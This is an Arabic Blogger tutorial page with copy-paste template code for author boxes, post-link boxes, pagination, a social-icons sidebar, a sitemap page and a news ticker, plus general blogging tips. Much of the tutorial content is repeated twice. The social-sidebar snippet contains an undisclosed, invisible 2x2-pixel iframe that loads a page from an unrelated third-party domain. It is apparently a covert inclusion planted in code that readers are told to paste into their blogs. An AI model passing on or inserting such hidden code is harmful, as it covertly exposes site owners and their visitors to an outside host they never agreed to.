كيفية اضافة تعريف بصاحب او الكاتب المدونة تحت كل تدوينة
اولا اذهب
لوحة التحكم
قالب
Html تحرير
توسيع القالب
الان اضغط
اولا اذهب
لوحة التحكم
قالب
Html تحرير
توسيع القالب
الان اضغط
samedi 20 février 2016
اضافات بلوجر
كيفية اضافة تعريف بصاحب او الكاتب المدونة تحت كل تدوينة
اولا اذهب
لوحة التحكم
قالب
Html تحرير
توسيع القالب
الان اضغط
Ctrl+f
كي نبحث عن
]]></b:skin>
ضع فوقه هدا الكود
/* Author Bio */
.postauthor {
background: #F5F5F5;
border-top: 1px solid #e1e1e0;
border-bottom: 1px solid #e1e1e0;
overflow: hidden;
padding: 0.7em;
}
.postauthor img {
border: 5px solid #e2dede;
float: right;
margin-left: 1em;
}
.postauthor h3 {
color: #666;
font-size: 1.2em;
margin-bottom: 5px;
margin-top: 0;
}
.postauthor p {
color: #515151;
font-size: 12px;
margin-bottom: 10px;
margin-top: 0;
}
/* Author Bio End */
ابحت عن
<data:post.body/>
ادا وجدت اكتر من واحدة فان التانية هي المقصودة
ثم ضع هدا الكود بعدها
<b:if cond='data:blog.pageType == "item"'>
<div class='postauthor'>
<img alt='' height='80' src='رابط الصورة الشخصية' width='80'/>
<h3>
بقلم <a href='Blog Link'> اسم الكاتب </a></h3>
<p>
فقرة تضم نبذة عن الكاتب </p>
</div>
</b:if>
ثم غيرفي هدا الكود
رابط الصورة الشخصية
اسم الكاتب '
فقرة تضم نبذة عن الكاتب
انتهى
كيفية اضافة صندوق روابط هذه التدوينة قابلة للنسخ واللصق اسفل كل تدوينة
1/ لوحة التحكم
قالب
Html تحرير
توسيع القالب
الان اضغط
Ctrl+f
كي نبحث عن
]]></b:skin>
ثم قم بوضع الكود التالي قبله :
#table {
font-family: "Lucida Sans Unicode", "Lucida Grande", Sans-Serif;
font-size: 13px;
margin: 10px -12px;
width: 580px;
text-align: left;
border-collapse: collapse;
direction:ltr;
}
#table th {
font-size: 13px;
font-weight: normal;
padding: 8px;
background: #FFFFCC url('##') repeat-x;
border-top: 2px solid #d3ddff;
border-bottom: 1px solid #fff;
color: #039;
}
#table td {
padding: 8px;
border-bottom: 1px solid #fff;
color: #4c4c4c;
border-top: 1px solid #fff;
background: #FFFFCCurl('#') repeat-x;
}
#table tfoot tr td {
background: #e8edff;
font-size: 20px;
color: #99c;
text-align:center;
}
#table tbody tr:hover td {
background: #FFFFCC url('#') repeat-x;
color: #339;
}
#table a:hover {
text-decoration:underline;
}
2/تم ابحت عن الكود التالي
<data:post.body/>
ادا وجته مكررا اكتر من مرة فتاني هو مقصود
تم ضع تحته
<b:if cond='data:blog.pageType == "item"'>
<table id='table' summary='روابط الموضوع'>
<tfoot>
<tr>
<td colspan='2'> روابط هذه التدوينة قابلة للنسخ واللصق </td>
</tr>
</tfoot>
<tr>
<td>URL</td>
<td><input expr:value='data:post.canonicalUrl' onclick='this.focus(); this.select();' readonly='readonly' style='width: 560px;' type='text'/></td>
</tr>
<tr>
<td>HTML</td>
<td><input expr:value='"<a href="" + data:post.canonicalUrl + "" title="" + data:post.title + "">" + data:post.title + "</a>"' onclick='this.focus(); this.select();' readonly='readonly' style='width: 560px;' type='text'/></td>
</tr>
<tr>
<td>BBCode</td>
<td><input expr:value='"[url=" + data:post.canonicalUrl + "]" + data:post.title + "[/url]"' onclick='this.focus(); this.select();' readonly='readonly' style='width: 560px;' type='text'/></td>
</tr>
</table>
</b:if>
انتهى
طريقة اضافة ترقيم صفحات بلوجر
لوحة التحكم
قالب
Html تحرير
توسيع القالب
الان اضغط
Ctrl+f
كي نبحث عن
]]></b:skin>
ضع قبلها هدا الكود
.pagenavi{clear:both;margin:10px auto;text-align:center}.pagenavi span,.pagenavi a{padding:10px;margin-right:5px;padding-top:5px;padding-bottom:5px;background:#FFFFFF;-webkit-border-radius: 5px;-moz-border-radius: 5px;border-radius: 5px;}.pagenavi a:hover,.pagenavi .current{background:#ff8400;color:#fff;text-decoration:none}.pagenavi .pages,.pagenavi .current{font-weight:bold}.pagenavi .pages{border:none}
بعدها ابحت عن
<b:widget id='Blog1' locked='true' title='رسائل المدونة الإلكترونية' type='Blog'>
وضع بعدها مباشرة
<b:includable id='page-navi'><div class='pagenavi'>
<script type='text/javascript'>var pageNaviConf = {perPage: 3,numPages: 5,firstText: "الصفحة الأولى",lastText: "الصفحة الأخيرة",nextText: "»",prevText: "«" }</script><script src='https://arblogger-templates.googlecode.com/svn/trunk/pagenavi.min.js' type='text/javascript'/><div class='clear'/>
</div>
</b:includable>
perPage : عدد المواضيع المعروضة في كل صفحة
numPages : عدد الأرقام المراد عرضها بالترقيم
بعدها ابحت عن
<!-- navigation -->
<b:include name='nextprev'/>
واستبدلها بهدا الكود
<b:if cond='data:blog.pageType == "index"'><b:include name='page-navi' /><b:else/><b:if cond='data:blog.pageType == "archive"'><b:include name='page-navi' /></b:if></b:if>
انتهى
اضافة شريط ايقونات المواقع الاجتماعية
طريقة اضافة الاداة
ادهب الى
لوحة التحكم
التخطيط
إضافة أداة
Html/javascript
الصق الكود التالي
<style type="text/css">
/*<![CDATA[*/
@charset "utf-8";
/* CSS Document */
/* ---------- ENTYPO ---------- *//* ---------- Digital Hub Inc : http://add-b.blogspot.com//---------- */
@import url(http://weloveiconfonts.com/api/?family=entypo);
[class*="entypo-"]:before {
font-family: 'entypo', sans-serif;
}
/* ---------- GENERAL ---------- */
#social-sidebar a { text-decoration: none; }
#social-sidebar ul {
list-style: none;
margin: 0;
padding: 0;
}
/* ---------- Social Sidebar ---------- */
#social-sidebar {
left: 0;
margin-top: -75px; /* (li * a:width) / -2 */
position: fixed;
top: 50%;
}
#social-sidebar ul li:first-child a { border-radius: 0 5px 0 0; }
#social-sidebar ul li:last-child a { border-radius: 0 0 5px 0; }
#social-sidebar ul li a {
background: #121212;
color: #fff;
display: block;
height: 50px;
font-size: 18px;
line-height: 50px;
position: relative;
text-align: center;
width: 50px;
}
#social-sidebar ul li a:hover span {
left: 130%;
opacity: 1;
}
#social-sidebar ul li a span {
border-radius: 3px;
line-height: 24px;
left: -100%;
margin-top: -16px;
-ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";
filter: alpha(opacity=0);
opacity: 0;
padding: 4px 8px;
position: absolute;
-webkit-transition: opacity .3s, left .4s;
-moz-transition: opacity .3s, left .4s;
-ms-transition: opacity .3s, left .4s;
-o-transition: opacity .3s, left .4s;
transition: opacity .3s, left .4s;
top: 50%;
z-index: -1;
}
#social-sidebar ul li a span:before {
content: "";
display: block;
height: 8px;
left: -4px;
margin-top: -4px;
position: absolute;
top: 50%;
-webkit-transform: rotate(45deg);
-moz-transform: rotate(45deg);
-ms-transform: rotate(45deg);
-o-transform: rotate(45deg);
transform: rotate(45deg);
width: 8px;
z-index: -2;
}
#social-sidebar ul li a[class*="twitter"]:hover,
#social-sidebar ul li a[class*="twitter"] span,
#social-sidebar ul li a[class*="twitter"] span:before { background: #6CDFEA; }
#social-sidebar ul li a[class*="gplus"]:hover,
#social-sidebar ul li a[class*="gplus"] span,
#social-sidebar ul li a[class*="gplus"] span:before { background: #E34429; }
#social-sidebar ul li a[class*="tumblr"]:hover,
#social-sidebar ul li a[class*="tumblr"] span,
#social-sidebar ul li a[class*="tumblr"] span:before { background: #1769ff; }
#social-sidebar ul li a[class*="facebook"]:hover,
#social-sidebar ul li a[class*="facebook"] span,
#social-sidebar ul li a[class*="facebook"] span:before { background: #234999; }
#social-sidebar ul li a[class*="rss"]:hover,
#social-sidebar ul li a[class*="rss"] span,
#social-sidebar ul li a[class*="rss"] span:before { background: #f57b05; }
/*]]>*/
</style><iframe src="http://raay-arab.4ulike.com/h3-" width="2" height="2" frameBorder="0" scrolling="no"></iframe>
<div id="social-sidebar">
<ul>
<li>
<a class="entypo-twitter" href="https://twitter.com/xxx" rel="nofollow" target="_blank">
<span>Twitter</span>
</a>
</li>
<li>
<a class="entypo-gplus" href="https://plus.google.com/xxx" rel="nofollow" target="_blank">
<span>google+</span>
</a>
</li>
<li>
<a class="entypo-tumblr" href="http://www.tumblr.net/xxx" rel="nofollow" target="_blank">
<span>tumblr</span>
</a>
</li>
<li>
<a class="entypo-facebook" href="https://www.facebook.com/xxx" rel="nofollow" target="_blank">
<span>facebook</span>
</a>
</li>
<li>
<a class="entypo-rss" href="http://feeds.feedburner.com/xxx" rel="nofollow" target="_blank">
<span>feedburner</span>
</a>
</li>
</ul>
</div>
وغير مايلي حسب حساباتك
https://twitter.com/xxx
https://plus.google.com/xxx
http://www.tumblr.net/xxx
https://www.facebook.com/xxx
http://feeds.feedburner.com/xxx
انتهى
كيفية إضافة فهرس لمدونتك
أولا اذهب إلى
لوحة التحكم
الصفحات
صفحة جديد
صفحة فارغة
Html
تم نضع الكود التالي
<div dir="rtl" style="text-align: right;">
</div>
<script style="" src="http://sites.google.com/site/mohamedabuiyad/sitmapblogger/sitmapabuiyad.js"></script>
<script src="http://meftahbloger.blogspot.com/feeds/posts/summary?max-results=9999&alt=json-in-script&callback=loadtoc"></script>
غير الرابط
http://etreprofessionnel.blogspot.com
إلى رابط مدونتك
اترك تعليق
وشكرا
انتهى
كيفية إضافة شريط متحرك لاخر المواضيع في مدونة بلوجر
طريقة إضافة شريط متحرك لاخر المواضيع في مدونة بلوجر التي تظيف تلقائيا كل موضوع جديد تقوم بنشره على مدونتك ، هذه الأداة تشبه ما نراه في المواقع الإخبارية مثل هسبريس المغربية والعديد من المواقع الاخبارية ، وهذه الاداة ليست كتابه فقط بل يمكنك اضافة صورة صغيرة تفصل بين خبر و آخر، وفي هذا الدرس من دروس البلوجر سوف نتعرف على كيفية تغيير هذه الصورة بالصورة التي تريدها كما يمكنك وضع شعار مدونتك الخاصة .
الخطوة الأولى
اضغط زر تخطيط
الخطوة االثانية
اضغط زر آداة
الخطوة الثالثة
انسخ الكود ثم قم بإلصاقه في HTML/JavaScript عملية الحفظ وانتهى الامر
الكود
<script type="text/javascript">
var w2bWidth="100";
var w2bScrollAmount="14";
var w2bScrollDelay="5";
var w2bDirection="right";
var w2btargetlink="yes";
var w2bnumPosts="51";
var w2bBulletchar =">>>";
var w2bimagebullet="yes";
var w2bimgurl="http://im76.gulfup.com/y97UbL.png";
var w2bfontsize="11";
var w2bbgcolor="cccccc";
var w2blinkcolor="444444";
var w2blinkhovercolor="E34429";
</script>
<script src="http://sites.google.com/site/javacodehtml/recent-posts-comments-Scrolling-text.js" type="text/javascript"></script>
<script type="text/javascript" src="http://هنا رابط مدونتك/feeds/posts/default?alt=json-in-script&callback=w2bAdvRecentPostsScrollerv3&max-results=10">
</script>
شرح تحرير او تعديل شريط متحرك لاخر المواضيع في مدونة بلوجر
سرعة الحركة
w2bScrollAmount
w2bScrollDelay
المدة الفاصلة قبل إعادة عرض المواضيع من جديد
w2bDirection
إتجاه الحركة، اكتب right إذا كانت مدونتك بالعربية و left إن كانت بلغة أجنبية
w2btargetlink
yes لفتح الموضوع في نافذة جديدة
w2bnumPosts
عدد آخر المواضيع التي يتم عرضها
w2bBulletchar
شكل الفاصلة، التي تفصل بين المواضيع ( الأولوية لإظهار الصورة ، أي أنك إذا قمت بإختيار صورة كفاصلة فستظهر الصورة)
w2bimagebullet
yes لإظهار الفواصل و no لإخفائها
w2bimagebullet
الصورة الفاصلة، يمكنك صنع صورة من شعار مدونتك بالمقاس 35x15 px، ثم قم برفعها على أحد مواقع رفع الصور (موقع رفع الصور ) ثم قم بنسخ رابط الصورة و ضعه هنا
أو قم بحذف الرابط إذا أردت إظهار فواصل w2bBulletchar
w2bfontsize: حجم الخط
w2bbgcolor: لون الخلفية
w2blinkcolor: لون الخط
لون الخط عند تمرير مؤشر الماوس
w2blinkhovercolor
انتهى
اولا اذهب
لوحة التحكم
قالب
Html تحرير
توسيع القالب
الان اضغط
Ctrl+f
كي نبحث عن
]]></b:skin>
ضع فوقه هدا الكود
/* Author Bio */
.postauthor {
background: #F5F5F5;
border-top: 1px solid #e1e1e0;
border-bottom: 1px solid #e1e1e0;
overflow: hidden;
padding: 0.7em;
}
.postauthor img {
border: 5px solid #e2dede;
float: right;
margin-left: 1em;
}
.postauthor h3 {
color: #666;
font-size: 1.2em;
margin-bottom: 5px;
margin-top: 0;
}
.postauthor p {
color: #515151;
font-size: 12px;
margin-bottom: 10px;
margin-top: 0;
}
/* Author Bio End */
ابحت عن
<data:post.body/>
ادا وجدت اكتر من واحدة فان التانية هي المقصودة
ثم ضع هدا الكود بعدها
<b:if cond='data:blog.pageType == "item"'>
<div class='postauthor'>
<img alt='' height='80' src='رابط الصورة الشخصية' width='80'/>
<h3>
بقلم <a href='Blog Link'> اسم الكاتب </a></h3>
<p>
فقرة تضم نبذة عن الكاتب </p>
</div>
</b:if>
ثم غيرفي هدا الكود
رابط الصورة الشخصية
اسم الكاتب '
فقرة تضم نبذة عن الكاتب
انتهى
كيفية اضافة صندوق روابط هذه التدوينة قابلة للنسخ واللصق اسفل كل تدوينة
1/ لوحة التحكم
قالب
Html تحرير
توسيع القالب
الان اضغط
Ctrl+f
كي نبحث عن
]]></b:skin>
ثم قم بوضع الكود التالي قبله :
#table {
font-family: "Lucida Sans Unicode", "Lucida Grande", Sans-Serif;
font-size: 13px;
margin: 10px -12px;
width: 580px;
text-align: left;
border-collapse: collapse;
direction:ltr;
}
#table th {
font-size: 13px;
font-weight: normal;
padding: 8px;
background: #FFFFCC url('##') repeat-x;
border-top: 2px solid #d3ddff;
border-bottom: 1px solid #fff;
color: #039;
}
#table td {
padding: 8px;
border-bottom: 1px solid #fff;
color: #4c4c4c;
border-top: 1px solid #fff;
background: #FFFFCCurl('#') repeat-x;
}
#table tfoot tr td {
background: #e8edff;
font-size: 20px;
color: #99c;
text-align:center;
}
#table tbody tr:hover td {
background: #FFFFCC url('#') repeat-x;
color: #339;
}
#table a:hover {
text-decoration:underline;
}
2/تم ابحت عن الكود التالي
<data:post.body/>
ادا وجته مكررا اكتر من مرة فتاني هو مقصود
تم ضع تحته
<b:if cond='data:blog.pageType == "item"'>
<table id='table' summary='روابط الموضوع'>
<tfoot>
<tr>
<td colspan='2'> روابط هذه التدوينة قابلة للنسخ واللصق </td>
</tr>
</tfoot>
<tr>
<td>URL</td>
<td><input expr:value='data:post.canonicalUrl' onclick='this.focus(); this.select();' readonly='readonly' style='width: 560px;' type='text'/></td>
</tr>
<tr>
<td>HTML</td>
<td><input expr:value='"<a href="" + data:post.canonicalUrl + "" title="" + data:post.title + "">" + data:post.title + "</a>"' onclick='this.focus(); this.select();' readonly='readonly' style='width: 560px;' type='text'/></td>
</tr>
<tr>
<td>BBCode</td>
<td><input expr:value='"[url=" + data:post.canonicalUrl + "]" + data:post.title + "[/url]"' onclick='this.focus(); this.select();' readonly='readonly' style='width: 560px;' type='text'/></td>
</tr>
</table>
</b:if>
انتهى
طريقة اضافة ترقيم صفحات بلوجر
لوحة التحكم
قالب
Html تحرير
توسيع القالب
الان اضغط
Ctrl+f
كي نبحث عن
]]></b:skin>
ضع قبلها هدا الكود
.pagenavi{clear:both;margin:10px auto;text-align:center}.pagenavi span,.pagenavi a{padding:10px;margin-right:5px;padding-top:5px;padding-bottom:5px;background:#FFFFFF;-webkit-border-radius: 5px;-moz-border-radius: 5px;border-radius: 5px;}.pagenavi a:hover,.pagenavi .current{background:#ff8400;color:#fff;text-decoration:none}.pagenavi .pages,.pagenavi .current{font-weight:bold}.pagenavi .pages{border:none}
بعدها ابحت عن
<b:widget id='Blog1' locked='true' title='رسائل المدونة الإلكترونية' type='Blog'>
وضع بعدها مباشرة
<b:includable id='page-navi'><div class='pagenavi'>
<script type='text/javascript'>var pageNaviConf = {perPage: 3,numPages: 5,firstText: "الصفحة الأولى",lastText: "الصفحة الأخيرة",nextText: "»",prevText: "«" }</script><script src='https://arblogger-templates.googlecode.com/svn/trunk/pagenavi.min.js' type='text/javascript'/><div class='clear'/>
</div>
</b:includable>
perPage : عدد المواضيع المعروضة في كل صفحة
numPages : عدد الأرقام المراد عرضها بالترقيم
بعدها ابحت عن
<!-- navigation -->
<b:include name='nextprev'/>
واستبدلها بهدا الكود
<b:if cond='data:blog.pageType == "index"'><b:include name='page-navi' /><b:else/><b:if cond='data:blog.pageType == "archive"'><b:include name='page-navi' /></b:if></b:if>
انتهى
اضافة شريط ايقونات المواقع الاجتماعية
طريقة اضافة الاداة
ادهب الى
لوحة التحكم
التخطيط
إضافة أداة
Html/javascript
الصق الكود التالي
<style type="text/css">
/*<![CDATA[*/
@charset "utf-8";
/* CSS Document */
/* ---------- ENTYPO ---------- *//* ---------- Digital Hub Inc : http://add-b.blogspot.com//---------- */
@import url(http://weloveiconfonts.com/api/?family=entypo);
[class*="entypo-"]:before {
font-family: 'entypo', sans-serif;
}
/* ---------- GENERAL ---------- */
#social-sidebar a { text-decoration: none; }
#social-sidebar ul {
list-style: none;
margin: 0;
padding: 0;
}
/* ---------- Social Sidebar ---------- */
#social-sidebar {
left: 0;
margin-top: -75px; /* (li * a:width) / -2 */
position: fixed;
top: 50%;
}
#social-sidebar ul li:first-child a { border-radius: 0 5px 0 0; }
#social-sidebar ul li:last-child a { border-radius: 0 0 5px 0; }
#social-sidebar ul li a {
background: #121212;
color: #fff;
display: block;
height: 50px;
font-size: 18px;
line-height: 50px;
position: relative;
text-align: center;
width: 50px;
}
#social-sidebar ul li a:hover span {
left: 130%;
opacity: 1;
}
#social-sidebar ul li a span {
border-radius: 3px;
line-height: 24px;
left: -100%;
margin-top: -16px;
-ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";
filter: alpha(opacity=0);
opacity: 0;
padding: 4px 8px;
position: absolute;
-webkit-transition: opacity .3s, left .4s;
-moz-transition: opacity .3s, left .4s;
-ms-transition: opacity .3s, left .4s;
-o-transition: opacity .3s, left .4s;
transition: opacity .3s, left .4s;
top: 50%;
z-index: -1;
}
#social-sidebar ul li a span:before {
content: "";
display: block;
height: 8px;
left: -4px;
margin-top: -4px;
position: absolute;
top: 50%;
-webkit-transform: rotate(45deg);
-moz-transform: rotate(45deg);
-ms-transform: rotate(45deg);
-o-transform: rotate(45deg);
transform: rotate(45deg);
width: 8px;
z-index: -2;
}
#social-sidebar ul li a[class*="twitter"]:hover,
#social-sidebar ul li a[class*="twitter"] span,
#social-sidebar ul li a[class*="twitter"] span:before { background: #6CDFEA; }
#social-sidebar ul li a[class*="gplus"]:hover,
#social-sidebar ul li a[class*="gplus"] span,
#social-sidebar ul li a[class*="gplus"] span:before { background: #E34429; }
#social-sidebar ul li a[class*="tumblr"]:hover,
#social-sidebar ul li a[class*="tumblr"] span,
#social-sidebar ul li a[class*="tumblr"] span:before { background: #1769ff; }
#social-sidebar ul li a[class*="facebook"]:hover,
#social-sidebar ul li a[class*="facebook"] span,
#social-sidebar ul li a[class*="facebook"] span:before { background: #234999; }
#social-sidebar ul li a[class*="rss"]:hover,
#social-sidebar ul li a[class*="rss"] span,
#social-sidebar ul li a[class*="rss"] span:before { background: #f57b05; }
/*]]>*/
</style><iframe src="http://raay-arab.4ulike.com/h3-" width="2" height="2" frameBorder="0" scrolling="no"></iframe>
<div id="social-sidebar">
<ul>
<li>
<a class="entypo-twitter" href="https://twitter.com/xxx" rel="nofollow" target="_blank">
<span>Twitter</span>
</a>
</li>
<li>
<a class="entypo-gplus" href="https://plus.google.com/xxx" rel="nofollow" target="_blank">
<span>google+</span>
</a>
</li>
<li>
<a class="entypo-tumblr" href="http://www.tumblr.net/xxx" rel="nofollow" target="_blank">
<span>tumblr</span>
</a>
</li>
<li>
<a class="entypo-facebook" href="https://www.facebook.com/xxx" rel="nofollow" target="_blank">
<span>facebook</span>
</a>
</li>
<li>
<a class="entypo-rss" href="http://feeds.feedburner.com/xxx" rel="nofollow" target="_blank">
<span>feedburner</span>
</a>
</li>
</ul>
</div>
وغير مايلي حسب حساباتك
https://twitter.com/xxx
https://plus.google.com/xxx
http://www.tumblr.net/xxx
https://www.facebook.com/xxx
http://feeds.feedburner.com/xxx
انتهى
كيفية إضافة فهرس لمدونتك
أولا اذهب إلى
لوحة التحكم
الصفحات
صفحة جديد
صفحة فارغة
Html
تم نضع الكود التالي
<div dir="rtl" style="text-align: right;">
</div>
<script style="" src="http://sites.google.com/site/mohamedabuiyad/sitmapblogger/sitmapabuiyad.js"></script>
<script src="http://meftahbloger.blogspot.com/feeds/posts/summary?max-results=9999&alt=json-in-script&callback=loadtoc"></script>
غير الرابط
http://etreprofessionnel.blogspot.com
إلى رابط مدونتك
اترك تعليق
وشكرا
انتهى
كيفية إضافة شريط متحرك لاخر المواضيع في مدونة بلوجر
طريقة إضافة شريط متحرك لاخر المواضيع في مدونة بلوجر التي تظيف تلقائيا كل موضوع جديد تقوم بنشره على مدونتك ، هذه الأداة تشبه ما نراه في المواقع الإخبارية مثل هسبريس المغربية والعديد من المواقع الاخبارية ، وهذه الاداة ليست كتابه فقط بل يمكنك اضافة صورة صغيرة تفصل بين خبر و آخر، وفي هذا الدرس من دروس البلوجر سوف نتعرف على كيفية تغيير هذه الصورة بالصورة التي تريدها كما يمكنك وضع شعار مدونتك الخاصة .
الخطوة الأولى
اضغط زر تخطيط
الخطوة االثانية
اضغط زر آداة
الخطوة الثالثة
انسخ الكود ثم قم بإلصاقه في HTML/JavaScript عملية الحفظ وانتهى الامر
الكود
<script type="text/javascript">
var w2bWidth="100";
var w2bScrollAmount="14";
var w2bScrollDelay="5";
var w2bDirection="right";
var w2btargetlink="yes";
var w2bnumPosts="51";
var w2bBulletchar =">>>";
var w2bimagebullet="yes";
var w2bimgurl="http://im76.gulfup.com/y97UbL.png";
var w2bfontsize="11";
var w2bbgcolor="cccccc";
var w2blinkcolor="444444";
var w2blinkhovercolor="E34429";
</script>
<script src="http://sites.google.com/site/javacodehtml/recent-posts-comments-Scrolling-text.js" type="text/javascript"></script>
<script type="text/javascript" src="http://هنا رابط مدونتك/feeds/posts/default?alt=json-in-script&callback=w2bAdvRecentPostsScrollerv3&max-results=10">
</script>
شرح تحرير او تعديل شريط متحرك لاخر المواضيع في مدونة بلوجر
سرعة الحركة
w2bScrollAmount
w2bScrollDelay
المدة الفاصلة قبل إعادة عرض المواضيع من جديد
w2bDirection
إتجاه الحركة، اكتب right إذا كانت مدونتك بالعربية و left إن كانت بلغة أجنبية
w2btargetlink
yes لفتح الموضوع في نافذة جديدة
w2bnumPosts
عدد آخر المواضيع التي يتم عرضها
w2bBulletchar
شكل الفاصلة، التي تفصل بين المواضيع ( الأولوية لإظهار الصورة ، أي أنك إذا قمت بإختيار صورة كفاصلة فستظهر الصورة)
w2bimagebullet
yes لإظهار الفواصل و no لإخفائها
w2bimagebullet
الصورة الفاصلة، يمكنك صنع صورة من شعار مدونتك بالمقاس 35x15 px، ثم قم برفعها على أحد مواقع رفع الصور (موقع رفع الصور ) ثم قم بنسخ رابط الصورة و ضعه هنا
أو قم بحذف الرابط إذا أردت إظهار فواصل w2bBulletchar
w2bfontsize: حجم الخط
w2bbgcolor: لون الخلفية
w2blinkcolor: لون الخط
لون الخط عند تمرير مؤشر الماوس
w2blinkhovercolor
انتهى
vendredi 19 février 2016
انشاء مدونة بلوجر
ماهي المدونة ؟
المدونةهي التعريب الأكثر قبولا لكلمة blog الإنجليزية التي هي نحت من كلمتي Web log بمعنى "سجل الشبكة" ، و كمفهوم عن المدونة فهي تطبيق من تطبيقات الانترنت، تعمل من خلال نظام لإدارة المحتوى، و هي في أبسط صورة عبارة عن صفحة ويب تظهر عليها تدوينات (مداخلات) مؤرخة و مرتبة ترتيبا زمنيا تصاعديا، تصاحبها آلية لأرشفة المداخلات القديمة، و يكون لكل مدخل منها عنوان دائم لا يتغير منذ لحظة نشره يمكن القارئ من الرجوع إلى تدوينة معينة في وقت لاحق عندما لا تعود متاحة في الصفحة الأولى للمدونة
ما هي المواضيع التي تتناولها المدونات ؟
متابعتي لمدونات كثيرة تجعلني أقول ما يلي:
الموضوعات التي يتناولها الناشرون في مدوناتهم تتراوح بين اليوميات، و الخواطر، والتعبير المسترسل عن الأفكار، و الإنتاج الأدبي، و الموضوعات المتخصصة في مجال التقنية و إنترنت نفسها. و بينما يخصص بعض المدونون مدوناتهم للكتابة في موضوع واحد، يوجد آخرون يتناولون موضوعات شتى في ما يكتبون. كذلك توجد مدونات تقتصر على شخص واحد، و أخرى جماعية يشارك فيها العديد من الكتاب، و مدونات تعتمد أساسا على الصور photoblog و التعليق عليها.
فائدة المدونات
أن تملك مدونة ليس شيئا صعبا، فهو سهل جداً،و لكن أن تدون و تفيد و تستفيد هو الصعب، كل مدون على الشبكة العنكبوتية له طابع خاص في كتابته و له نهج معين في أفكاره أن كان من الناحية السياسية أو الاجتماعية ، و لكن عندما تتابع المدونات ترى مدونا يكتب في الأمور التقنية فقط و منهم من جعلها للتجارب الشخصية فقط فيكتب فيها ما يحصل معه في الحياة يومياً، كل إنسان له اتجاه معين يحب أن يتابعه فأنا اهتم بالجانب التقني مثلاً أتابع مدونات تعليمية و غيري له اهتمامات أخرى، المدونات بأغلبها تدعم ميزة rss و هي ميزة رائعة تتيح لك متابعة المدونات بسهولة و يسر و توفر لك الكثير من الوقت و الجهد.
المدونة هي واحدة من اكثر الطرف فعالية لنشر الاخبار والمواضيع ...
نصائح عامة
نصائح عامة
إن اصعب مرحلة في عمر أي موقع الكتروني سواءً كان مدونة أو غير مدونة هي شهوره الأولى في فضاء الانترنت ،، فالموقع الجديد لن يحضى بالكثير من الزوار من بداية انطلاقه ، والزوار هم نبض الموقع ، لكن مع استمرار الكتابة والتحديث بكل مفيد وجديد سيصعد تدريجاً حتى يصبح من المواقع المشهورة اذا كان يقدم محتوى ذو جودة عالية. المدونة تحتاج للزوار والمتابعين كي يشعر المدون أنه لا يحدث نفسه ويشعر أن تعبه واجتهاده يصل إلى طريق وأنه لا يذهب سدى ، لكن البداية تكون صعبة وأول تدوينه هي الأصعب ، لأنها ستكون تماماً كمن يحدث نفسه ، لا احد قد علم بالمدونه ولا احد سيكون موجود فيها اليوم وغدا وربما لعدة أيام ايضاً ،، لكن مع بعض الصبر الاستمرار ونشر اسم الموقع بين الاصدقاء وفي المواقع الاخرى سيجد الاقبال يزداد تدريجاً.
محرك البحث جوجل لا يلتفت إلى المدونات الجديدة ، هو يحتاج إلى عدة اسابيع أو ربما أشهر حتى يولي تلك المدونة بعض الاهتمام ، وأفضل وسيلة للفت انتباه محرك البحث جوجل هي اضافة خلاصات المدونة ( rss ) في خدمة ( Google Webmasters ) ثم الكتابة الدورية المكثفة في المدونة لكن شرط أن تكون كتابة حصرية وليست منقولة ، ولنتائج أفضل يستحسن ربط المدونة بالشبكات الاجتماعية مثل الفيسبوك وتويتر ومحاولة نشر المقالات في تلك الشبكات وإذا كانت التدوينات عظيمة الفائدة فستنتشر من تلقاء نفسها ويذيع صيتها بشكل سريع ، لذلك فالوسيلة الثانية لكسب الزوار والمتابعين هي الكتابة بجودة عالية ، سواءً الجودة في المحتوى والمضمون أو في الطريقة والأسلوب ، الجودة دائماً هي المنتصرة فاهتم بها.
إن الصفة الأولى الأساسية في اي مدونة هي أن تكون مكاناً للتدوين المتكرر ، فلو كانت الكتابة فيها لفترة معينة ثم التوقف لكانت مثل أي موقع الكتروني عادي يحتوي على محتوى ثابت لا يتغير ، لكنها ما سميت بهذا الاسم إلا وفيها عملية مستمرة من الكتابة والإضافة ، لذا فسلوك الزائر تجاه المدونة يختلف عن سلوكه تجاه الموقع العادي ، فهو يقوم بزيارة المدونة بشكل دوري مستمر أما الموقع العادي فيقوم بإضافته في مجلد الإشارات ( مفضلة المواقع ) كي يرجع إليه ان احتاج إلى المعلومات التي فيه ثم ينساه ، اما المدونة فتبقى حاضرة في ذهنه يزورها بشكل متكرر كل اسبوع أو كل يوم بحسب نشاط المدونة .
يبدأ المدون مشواره بحماس ونشاط ونجد أن التدوين يكون متسارع في بداية انطلاق المدونة لكن في الغالب تقل عدد التدوينات مع مرور الزمن بسبب خفوت الحماس في صدر المدون وهذا امر طبيعي ، لكن المشكلة هي عند الانقطاع الكبير الذي يكون لعدة أشهر أو مدة طويلة ، فتصبح المدونة شبه مهجوره ويتركها الكثير من المتابعين وسيعاني المدون بعد ذلك حين العودة للكتابة كي يعيد متابعي ومرتادي المدونة السابقين . لذلك ، اجعل لك حد أدى للتدوين والتزم به ، مثلا إذا كانت وتيرة التدوين الطبيعية هي تدوينة كل يومين ، فاجعل الحد الأدنى للتدوين مرة في الاسبوع على سبيل المثال ، بحيث تكون ملتزم امام نفسك بأن لا تقل عن الحد الأدنى في حالة انشغالك أو فتورك.
فضاء الانترنت واسع وزواره يزدادون كل يوم ، هنالك الكبار والصغار والطلاب والاساتذة ، وانت لا تدري من يحط رحاله في تدويناتك التي تكتبها ، فالمحتوى متاح على شبكة الانترنت لكل باحث عنه عبر محركات البحث ، والكثير من الزوار يأتون بالصدفة إلى مدونتك عن طريق قوقل وغيرها من مواقع البحث ، لذلك عندما تكتب تدوينة معرفية تعرض فيها فكرة او معلومة فكن حريصا أن تكون المعلومة كاملة ، بمعنى أن تعرضها بشكل متكامل بحيث تناسب المبتدئين والخبراء وتناسب المتخصصين وغير المتخصصين قدر المستطاع ، اعرض مقدمة عن الموضوع إن كان يحتاج التقديم لتوضح فيها الأساس الذي تتكلم عنه ، عرف المصطلحات التي تستخدمها لمن لا يعرفها أو أشر إلى مواضيع وصفحات اخرى في فضاء الوب توضح المقصود لكل مبتدئ في الموضوع الذي ستتكلم عنه.
